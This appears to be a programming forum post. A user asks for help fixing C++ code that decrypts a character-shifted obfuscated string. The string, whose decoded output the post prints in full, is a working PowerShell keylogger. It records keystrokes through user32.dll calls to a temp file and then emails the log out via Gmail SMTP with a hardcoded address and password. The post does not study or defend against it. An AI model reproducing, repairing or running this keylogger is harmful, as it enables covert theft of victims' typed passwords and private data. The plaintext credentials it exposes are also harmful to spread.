Code:
#include <iostream>
#include <regex>
using namespace std;
char* encrypt(string te){
int n = te.length();
char new_array1[n + 1];
strcpy(new_array1, te.c_str());
for (int i = 0; i < n; i++){
new_array1[i]=new_array1[i]+1;
}
return new_array1;
}
char* decrypt(string te){
int n = te.length();
char new_array[n + 1];
strcpy(new_array, te.c_str());
for (int i = 0; i < n; i++){
new_array[i]=new_array[i]-1;
}
return new_array;
}
int main() {
string text =R"(gvodujpo!Tubsu.LfzMphhfs)%Qbui>#%fow;ufnq]lfzmphhfs/uyu#*!♂|♂!!$!Tjhobuvsft!gps!BQJ!Dbmmt♂!!%tjhobuvsft!>!A(♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup-!FybduTqfmmjoh>usvf*^!♂qvcmjd!tubujd!fyufso!tipsu!HfuBtzodLfzTubuf)jou!wjsuvbmLfzDpef*<!♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!HfuLfzcpbseTubuf)czuf\^!lfztubuf*<♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!NbqWjsuvbmLfz)vjou!vDpef-!jou!vNbqUzqf*<♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!UpVojdpef)vjou!xWjsuLfz-!vjou!xTdboDpef-!czuf\^!mqlfztubuf-!Tztufn/Ufyu/TusjohCvjmefs!qxt{Cvgg-!jou!ddiCvgg-!vjou!xGmbht*<♂(A♂♂!!$!mpbe!tjhobuvsft!boe!nblf!nfncfst!bwbjmbcmf♂!!%BQJ!>!Bee.Uzqf!.NfncfsEfgjojujpo!%tjhobuvsft!.Obnf!(Xjo43(!.Obnftqbdf!BQJ!.QbttUisv♂!!!!♂!!$!dsfbuf!pvuqvu!gjmf♂!!%ovmm!>!Ofx.Jufn!.Qbui!%Qbui!.JufnUzqf!Gjmf!.Gpsdf♂♂!!usz♂!!|♂!!!!Xsjuf.Iptu!(Sfdpsejoh!lfz!qsfttft/!Qsftt!DUSM,D!up!tff!sftvmut/(!.GpsfhspvoeDpmps!Sfe♂♂!!!$qmfbtf!tqfdjgz!ujnf!boe!efgbvmu!jt!31!tfdpoet♂!!!!%ujnf!>!1♂!!!!xijmf)%ujnf!.mu!21111111*!|♂♂!!!!%ujnf♂!!!!%ujnf,,♂!!!!!!Tubsu.Tmffq!.Njmmjtfdpoet!3♂!!!!!!♂!!!!!!$!tdbo!bmm!BTDJJ!dpeft!bcpwf!9♂!!!!!!gps!)%btdjj!>!:<!%btdjj!.mf!365<!%btdjj,,*!|♂!!!!!!!!$!hfu!dvssfou!lfz!tubuf♂!!!!!!!!%tubuf!>!%BQJ;;HfuBtzodLfzTubuf)%btdjj*♂♂!!!!!!!!$!jt!lfz!qsfttfe@♂!!!!!!!!jg!)%tubuf!.fr!.43878*!|♂!!!!!!!!!!%ovmm!>!\dpotpmf^;;DbqtMpdl♂♂!!!!!!!!!!$!usbotmbuf!tdbo!dpef!up!sfbm!dpef♂!!!!!!!!!!%wjsuvbmLfz!>!%BQJ;;NbqWjsuvbmLfz)%btdjj-!4*♂♂!!!!!!!!!!$!hfu!lfzcpbse!tubuf!gps!wjsuvbm!lfzt♂!!!!!!!!!!%lctubuf!>!Ofx.Pckfdu!Czuf\^!367♂!!!!!!!!!!%difdllctubuf!>!%BQJ;;HfuLfzcpbseTubuf)%lctubuf*♂♂!!!!!!!!!!$!qsfqbsf!b!TusjohCvjmefs!up!sfdfjwf!joqvu!lfz♂!!!!!!!!!!%nzdibs!>!Ofx.Pckfdu!.UzqfObnf!Tztufn/Ufyu/TusjohCvjmefs♂♂!!!!!!!!!!$!usbotmbuf!wjsuvbm!lfz♂!!!!!!!!!!%tvddftt!>!%BQJ;;UpVojdpef)%btdjj-!%wjsuvbmLfz-!%lctubuf-!%nzdibs-!%nzdibs/Dbqbdjuz-!1*♂♂!!!!!!!!!!jg!)%tvddftt*!♂!!!!!!!!!!|♂!!!!!!!!!!!!$!bee!lfz!up!mphhfs!gjmf♂!!!!!!!!!!!!\Tztufn/JP/Gjmf^;;BqqfoeBmmUfyu)%Qbui-!%nzdibs-!\Tztufn/Ufyu/Fodpejoh^;;Vojdpef*!♂!!!!!!!!!!~♂!!!!!!!!♂!!!!!!~♂!!!!~♂!!~♂!!gjobmmz♂!!|♂!!!!$!qmfbtf!tqfdjgz!zpvs!fnbjm!jogp♂♂!!!!%ebub!>!Hfu.Dpoufou!#%Qbui#!♂!!!!%fnbjmup!>!(vmusponfhbuspo1Ahnbjm/dpn(♂!!!!%fnbjm!>!(vmusponfhbuspo1Ahnbjm/dpn(♂!!!!%TNUQTfswfs!>!(tnuq/hnbjm/dpn(♂!!!!%TNUQQpsu!>!(698(♂!!!!%Qbttxpse!>!(jmjkb3116(♂!!!!%tvckfdu!>!(ifsf!jt!uif!lfzt(
♂!!!!%tnuq!>!Ofx.Pckfdu!Tztufn/Ofu/Nbjm/TnuqDmjfou)%TNUQTfswfs-!%TNUQQpsu*<♂!!!!%tnuq/FobcmfTTM!>!%usvf♂!!!!%tnuq/Dsfefoujbmt!>!Ofx.Pckfdu!Tztufn/Ofu/OfuxpslDsfefoujbm)%fnbjm-!%Qbttxpse*<♂!!!!%tnuq/Tfoe)%fnbjm-!%fnbjmup-!%tvckfdu-!%ebub*<♂!!!!♂!!!!♂!!~♂~♂♂Tubsu.LfzMphhfs♂)";
char enctext[] ={*decrypt(text)};
cout<<sizeof(enctext)/sizeof(enctext[0]);
for (int i =0; i<sizeof(enctext)/sizeof(enctext[0]); i++){
cout<<enctext[i];
}
return 0;
}
I just want to use function decrypt to print the text, but I get a lot od warnings that I dont understand. The code wont print anything even if it has nothing to do with those two functions. How to fix this problem and print the decrypted version of text?
Warnings:
vr.cpp: In function 'char* encrypt(std::string)':
vr.cpp:14:12: warning: address of local variable 'new_array1' returned [-Wreturn-local-addr]
14 | return new_array1;
| ^~~~~~~~~~
vr.cpp:8:10: note: declared here
8 | char new_array1[n + 1];
| ^~~~~~~~~~
vr.cpp: In function 'char* decrypt(std::string)':
vr.cpp:25:12: warning: address of local variable 'new_array' returned [-Wreturn-local-addr]
25 | return new_array;
| ^~~~~~~~~
vr.cpp:19:10: note: declared here
19 | char new_array[n + 1];
| ^~~~~~~~~
Edit:
#include <iostream>
#include <regex>
#include <fstream>
using namespace std;
string convertToString(char* a, int size)
{
int i;
string s = "";
for (i = 0; i < size; i++) {
s = s + a[i];
}
return s;
}
string encrypt(string te){
int n = te.length();
char new_array1[n + 1];
strcpy(new_array1, te.c_str());
for (int i = 0; i < n; i++){
new_array1[i]=new_array1[i]+1;
}
string str1 = convertToString(new_array1, sizeof(new_array1) / sizeof(char));
return str1;
}
string decrypt(string te){
int n = te.length();
char new_array[n + 1];
strcpy(new_array, te.c_str());
for (int i = 0; i < n; i++){
new_array[i]=new_array[i]-1;
}
string str1 = convertToString(new_array, sizeof(new_array) / sizeof(char));
return str1;
}
int main() {
string text =R"(gvodujpo!Tubsu.LfzMphhfs)%Qbui>#%fow;ufnq]lfzmphhfs/uyu#*!♂|♂!!$!Tjhobuvsft!gps!BQJ!Dbmmt♂!!%tjhobuvsft!>!A(♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup-!FybduTqfmmjoh>usvf*^!♂qvcmjd!tubujd!fyufso!tipsu!HfuBtzodLfzTubuf)jou!wjsuvbmLfzDpef*<!♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!HfuLfzcpbseTubuf)czuf\^!lfztubuf*<♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!NbqWjsuvbmLfz)vjou!vDpef-!jou!vNbqUzqf*<♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!UpVojdpef)vjou!xWjsuLfz-!vjou!xTdboDpef-!czuf\^!mqlfztubuf-!Tztufn/Ufyu/TusjohCvjmefs!qxt{Cvgg-!jou!ddiCvgg-!vjou!xGmbht*<♂(A♂♂!!$!mpbe!tjhobuvsft!boe!nblf!nfncfst!bwbjmbcmf♂!!%BQJ!>!Bee.Uzqf!.NfncfsEfgjojujpo!%tjhobuvsft!.Obnf!(Xjo43(!.Obnftqbdf!BQJ!.QbttUisv♂!!!!♂!!$!dsfbuf!pvuqvu!gjmf♂!!%ovmm!>!Ofx.Jufn!.Qbui!%Qbui!.JufnUzqf!Gjmf!.Gpsdf♂♂!!usz♂!!|♂!!!!Xsjuf.Iptu!(Sfdpsejoh!lfz!qsfttft/!Qsftt!DUSM,D!up!tff!sftvmut/(!.GpsfhspvoeDpmps!Sfe♂♂!!!$qmfbtf!tqfdjgz!ujnf!boe!efgbvmu!jt!31!tfdpoet♂!!!!%ujnf!>!1♂!!!!xijmf)%ujnf!.mu!21111111*!|♂♂!!!!%ujnf♂!!!!%ujnf,,♂!!!!!!Tubsu.Tmffq!.Njmmjtfdpoet!3♂!!!!!!♂!!!!!!$!tdbo!bmm!BTDJJ!dpeft!bcpwf!9♂!!!!!!gps!)%btdjj!>!:<!%btdjj!.mf!365<!%btdjj,,*!|♂!!!!!!!!$!hfu!dvssfou!lfz!tubuf♂!!!!!!!!%tubuf!>!%BQJ;;HfuBtzodLfzTubuf)%btdjj*♂♂!!!!!!!!$!jt!lfz!qsfttfe@♂!!!!!!!!jg!)%tubuf!.fr!.43878*!|♂!!!!!!!!!!%ovmm!>!\dpotpmf^;;DbqtMpdl♂♂!!!!!!!!!!$!usbotmbuf!tdbo!dpef!up!sfbm!dpef♂!!!!!!!!!!%wjsuvbmLfz!>!%BQJ;;NbqWjsuvbmLfz)%btdjj-!4*♂♂!!!!!!!!!!$!hfu!lfzcpbse!tubuf!gps!wjsuvbm!lfzt♂!!!!!!!!!!%lctubuf!>!Ofx.Pckfdu!Czuf\^!367♂!!!!!!!!!!%difdllctubuf!>!%BQJ;;HfuLfzcpbseTubuf)%lctubuf*♂♂!!!!!!!!!!$!qsfqbsf!b!TusjohCvjmefs!up!sfdfjwf!joqvu!lfz♂!!!!!!!!!!%nzdibs!>!Ofx.Pckfdu!.UzqfObnf!Tztufn/Ufyu/TusjohCvjmefs♂♂!!!!!!!!!!$!usbotmbuf!wjsuvbm!lfz♂!!!!!!!!!!%tvddftt!>!%BQJ;;UpVojdpef)%btdjj-!%wjsuvbmLfz-!%lctubuf-!%nzdibs-!%nzdibs/Dbqbdjuz-!1*♂♂!!!!!!!!!!jg!)%tvddftt*!♂!!!!!!!!!!|♂!!!!!!!!!!!!$!bee!lfz!up!mphhfs!gjmf♂!!!!!!!!!!!!\Tztufn/JP/Gjmf^;;BqqfoeBmmUfyu)%Qbui-!%nzdibs-!\Tztufn/Ufyu/Fodpejoh^;;Vojdpef*!♂!!!!!!!!!!~♂!!!!!!!!♂!!!!!!~♂!!!!~♂!!~♂!!gjobmmz♂!!|♂!!!!$!qmfbtf!tqfdjgz!zpvs!fnbjm!jogp♂♂!!!!%ebub!>!Hfu.Dpoufou!#%Qbui#!♂!!!!%fnbjmup!>!(vmusponfhbuspo1Ahnbjm/dpn(♂!!!!%fnbjm!>!(vmusponfhbuspo1Ahnbjm/dpn(♂!!!!%TNUQTfswfs!>!(tnuq/hnbjm/dpn(♂!!!!%TNUQQpsu!>!(698(♂!!!!%Qbttxpse!>!(jmjkb3116(♂!!!!%tvckfdu!>!(ifsf!jt!uif!lfzt(
♂!!!!%tnuq!>!Ofx.Pckfdu!Tztufn/Ofu/Nbjm/TnuqDmjfou)%TNUQTfswfs-!%TNUQQpsu*<♂!!!!%tnuq/FobcmfTTM!>!%usvf♂!!!!%tnuq/Dsfefoujbmt!>!Ofx.Pckfdu!Tztufn/Ofu/OfuxpslDsfefoujbm)%fnbjm-!%Qbttxpse*<♂!!!!%tnuq/Tfoe)%fnbjm-!%fnbjmup-!%tvckfdu-!%ebub*<♂!!!!♂!!!!♂!!~♂~♂♂Tubsu.LfzMphhfs♂)";
string s =decrypt(text);
cout<<s;
return 0;
}
Code looks like this now but I still get some unwanted chars like : ßÿü
function Start-KeyLogger($Path="$env:temp\keylogger.txt") ßÿü{ßÿü # Signatures for API Callsßÿü $signatures = @'ßÿü[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] ßÿüpublic static extern short GetAsyncKeyState(int virtualKeyCode); ßÿü[DllImport("user32.dll", CharSet=CharSet.Auto)]ßÿüpublic static extern int GetKeyboardState(byte[] keystate);ßÿü[DllImport("user32.dll", CharSet=CharSet.Auto)]ßÿüpublic static extern int MapVirtualKey(uint uCode, int uMapType);ßÿü[DllImport("user32.dll", CharSet=CharSet.Auto)]ßÿüpublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);ßÿü'@ßÿüßÿü # load signatures and make members availableßÿü $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThrußÿü ßÿü # create output fileßÿü $null = New-Item -Path $Path -ItemType File -Forceßÿüßÿü tryßÿü {ßÿü Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Redßÿüßÿü #please specify time and default is 20 secondsßÿü $time = 0ßÿü while($time -lt 10000000) {ßÿüßÿü $timeßÿü $time++ßÿü Start-Sleep -Milliseconds 2ßÿü ßÿü # scan all ASCII codes above 8ßÿü for ($ascii = 9; $ascii -le 254; $ascii++) {ßÿü # get current key stateßÿü $state = $API::GetAsyncKeyState($ascii)ßÿüßÿü # is key pressed?ßÿü if ($state -eq -32767) {ßÿü
$null = [console]::CapsLockßÿüßÿü # translate scan code to real codeßÿü $virtualKey = $API::MapVirtualKey($ascii, 3)ßÿüßÿü # get keyboard state for virtual keysßÿü $kbstate = New-Object Byte[] 256ßÿü $checkkbstate = $API::GetKeyboardState($kbstate)ßÿüßÿü # prepare a StringBuilder to receive input keyßÿü $mychar = New-Object -TypeName System.Text.StringBuilderßÿüßÿü # translate virtual keyßÿü $success
= $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)ßÿüßÿü if ($success) ßÿü {ßÿü # add key to logger fileßÿü [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) ßÿü }ßÿü ßÿü }ßÿü }ßÿü }ßÿü finallyßÿü {ßÿü # please specify your email infoßÿüßÿü $data = Get-Content "$Path" ßÿü $emailto = 'ultronmegatron0@gmail.com'ßÿü $email = 'ultronmegatron0@gmail.com'ßÿü $SMTPServer = 'smtp.gmail.com'ßÿü $SMTPPort = '587'ßÿü $Password = 'ilija2005'ßÿü $subject = 'here is the keys' ßÿü $smtp = New-Object
System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);ßÿü $smtp.EnableSSL = $trueßÿü $smtp.Credentials = New-Object System.Net.NetworkCredential($email, $Password);ßÿü $smtp.Send($email, $emailto, $subject, $data);ßÿü ßÿü ßÿü }ßÿü}ßÿüßÿüStart-KeyLoggerßÿü